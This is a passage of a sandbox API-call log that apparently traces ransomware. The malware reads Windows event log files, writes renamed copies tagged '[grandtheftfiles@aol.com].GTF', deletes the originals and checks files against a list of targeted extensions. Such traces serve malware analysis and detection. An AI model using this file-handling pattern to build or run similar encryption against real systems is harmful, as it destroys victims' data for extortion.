	[0076.443] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0076.466] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0076.787] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x1010, lpOverlapped=0x0) returned 1
	[0076.798] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x1020, lpOverlapped=0x0) returned 1
	[0076.802] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.802] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x162, lpOverlapped=0x0) returned 1
	[0076.802] SetEndOfFile (hFile=0x35c) returned 1
	[0076.803] CloseHandle (hObject=0x35c) returned 1
	[0077.246] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.246] SetEndOfFile (hFile=0x388) returned 1
	[0077.247] CloseHandle (hObject=0x388) returned 1
	[0077.247] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0077.247] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1
	[0077.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.248] lstrlenW (lpString=".doc") returned 4
	[0077.248] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString=".docx") returned 5
	[0077.248] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.248] lstrlenW (lpString=".pdf") returned 4
	[0077.248] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString=".xls") returned 4
	[0077.248] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString=".xlsx") returned 5
	[0077.248] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.248] lstrlenW (lpString=".ppt") returned 4
	[0077.248] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.248] lstrlenW (lpString=".zip") returned 4
	[0077.248] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString=".rar") returned 4
	[0077.248] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString=".bz2") returned 4
	[0077.248] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString=".7z") returned 3
	[0077.248] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.248] lstrlenW (lpString=".dbf") returned 4
	[0077.248] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.248] lstrlenW (lpString=".1cd") returned 4
	[0077.248] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.248] lstrlenW (lpString=".jpg") returned 4
	[0077.248] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.249] lstrlenW (lpString=".doc") returned 4
	[0077.249] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString=".docx") returned 5
	[0077.249] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.249] lstrlenW (lpString=".pdf") returned 4
	[0077.249] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString=".xls") returned 4
	[0077.249] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString=".xlsx") returned 5
	[0077.249] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.249] lstrlenW (lpString=".ppt") returned 4
	[0077.249] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.249] lstrlenW (lpString=".zip") returned 4
	[0077.249] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString=".rar") returned 4
	[0077.249] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString=".bz2") returned 4
	[0077.249] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString=".7z") returned 3
	[0077.249] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.249] lstrlenW (lpString=".dbf") returned 4
	[0077.249] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.249] lstrlenW (lpString=".1cd") returned 4
	[0077.249] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79
	[0077.249] lstrlenW (lpString=".jpg") returned 4
	[0077.249] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.250] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0077.250] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47
	[0077.250] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.250] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0077.250] CloseHandle (hObject=0x388) returned 1
	[0077.250] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20
	[0077.250] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.250] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.250] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.250] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.250] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.251] GetLastError () returned 0x0
	[0077.251] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.254] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.256] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.256] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x132, lpOverlapped=0x0) returned 1
	[0077.256] SetEndOfFile (hFile=0x35c) returned 1
	[0077.256] CloseHandle (hObject=0x35c) returned 1
	[0077.258] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.258] SetEndOfFile (hFile=0x388) returned 1
	[0077.260] CloseHandle (hObject=0x388) returned 1
	[0077.260] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0077.260] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1
	[0077.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.260] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.260] lstrlenW (lpString=".doc") returned 4
	[0077.260] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.260] lstrlenW (lpString=".docx") returned 5
	[0077.260] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.260] lstrlenW (lpString=".pdf") returned 4
	[0077.260] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.260] lstrlenW (lpString=".xls") returned 4
	[0077.260] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.260] lstrlenW (lpString=".xlsx") returned 5
	[0077.260] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.260] lstrlenW (lpString=".ppt") returned 4
	[0077.260] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.261] lstrlenW (lpString=".zip") returned 4
	[0077.261] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString=".rar") returned 4
	[0077.261] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString=".bz2") returned 4
	[0077.261] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString=".7z") returned 3
	[0077.261] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.261] lstrlenW (lpString=".dbf") returned 4
	[0077.261] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.261] lstrlenW (lpString=".1cd") returned 4
	[0077.261] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.261] lstrlenW (lpString=".jpg") returned 4
	[0077.261] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.261] lstrlenW (lpString=".doc") returned 4
	[0077.261] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString=".docx") returned 5
	[0077.261] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.261] lstrlenW (lpString=".pdf") returned 4
	[0077.261] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString=".xls") returned 4
	[0077.261] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString=".xlsx") returned 5
	[0077.261] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.261] lstrlenW (lpString=".ppt") returned 4
	[0077.261] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.261] lstrlenW (lpString=".zip") returned 4
	[0077.261] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.261] lstrlenW (lpString=".rar") returned 4
	[0077.262] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.262] lstrlenW (lpString=".bz2") returned 4
	[0077.262] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.262] lstrlenW (lpString=".7z") returned 3
	[0077.262] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.262] lstrlenW (lpString=".dbf") returned 4
	[0077.262] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.262] lstrlenW (lpString=".1cd") returned 4
	[0077.262] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0077.262] lstrlenW (lpString=".jpg") returned 4
	[0077.262] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.262] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0077.262] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49
	[0077.262] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.262] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0077.262] CloseHandle (hObject=0x388) returned 1
	[0077.262] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20
	[0077.262] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.263] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.263] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.263] GetLastError () returned 0x0
	[0077.263] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.276] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.278] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.278] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x136, lpOverlapped=0x0) returned 1
	[0077.278] SetEndOfFile (hFile=0x35c) returned 1
	[0077.278] CloseHandle (hObject=0x35c) returned 1
	[0077.281] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.281] SetEndOfFile (hFile=0x388) returned 1
	[0077.282] CloseHandle (hObject=0x388) returned 1
	[0077.282] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0077.282] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1
	[0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.283] lstrlenW (lpString=".doc") returned 4
	[0077.283] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.283] lstrlenW (lpString=".docx") returned 5
	[0077.283] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.283] lstrlenW (lpString=".pdf") returned 4
	[0077.283] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.283] lstrlenW (lpString=".xls") returned 4
	[0077.283] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.283] lstrlenW (lpString=".xlsx") returned 5
	[0077.283] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.283] lstrlenW (lpString=".ppt") returned 4
	[0077.283] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.283] lstrlenW (lpString=".zip") returned 4
	[0077.283] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.283] lstrlenW (lpString=".rar") returned 4
	[0077.283] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.283] lstrlenW (lpString=".bz2") returned 4
	[0077.283] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.283] lstrlenW (lpString=".7z") returned 3
	[0077.283] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.283] lstrlenW (lpString=".dbf") returned 4
	[0077.283] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.284] lstrlenW (lpString=".1cd") returned 4
	[0077.284] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.284] lstrlenW (lpString=".jpg") returned 4
	[0077.284] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.284] lstrlenW (lpString=".doc") returned 4
	[0077.284] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString=".docx") returned 5
	[0077.284] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.284] lstrlenW (lpString=".pdf") returned 4
	[0077.284] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString=".xls") returned 4
	[0077.284] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString=".xlsx") returned 5
	[0077.284] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.284] lstrlenW (lpString=".ppt") returned 4
	[0077.284] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.284] lstrlenW (lpString=".zip") returned 4
	[0077.284] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString=".rar") returned 4
	[0077.284] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString=".bz2") returned 4
	[0077.284] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString=".7z") returned 3
	[0077.284] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.284] lstrlenW (lpString=".dbf") returned 4
	[0077.284] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.285] lstrlenW (lpString=".1cd") returned 4
	[0077.285] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.285] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0077.285] lstrlenW (lpString=".jpg") returned 4
	[0077.285] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.285] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0077.285] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63
	[0077.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.285] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0077.285] CloseHandle (hObject=0x388) returned 1
	[0077.285] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20
	[0077.285] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.286] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.286] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.286] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.286] GetLastError () returned 0x0
	[0077.286] ReadFile (in: hFile=0x388, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
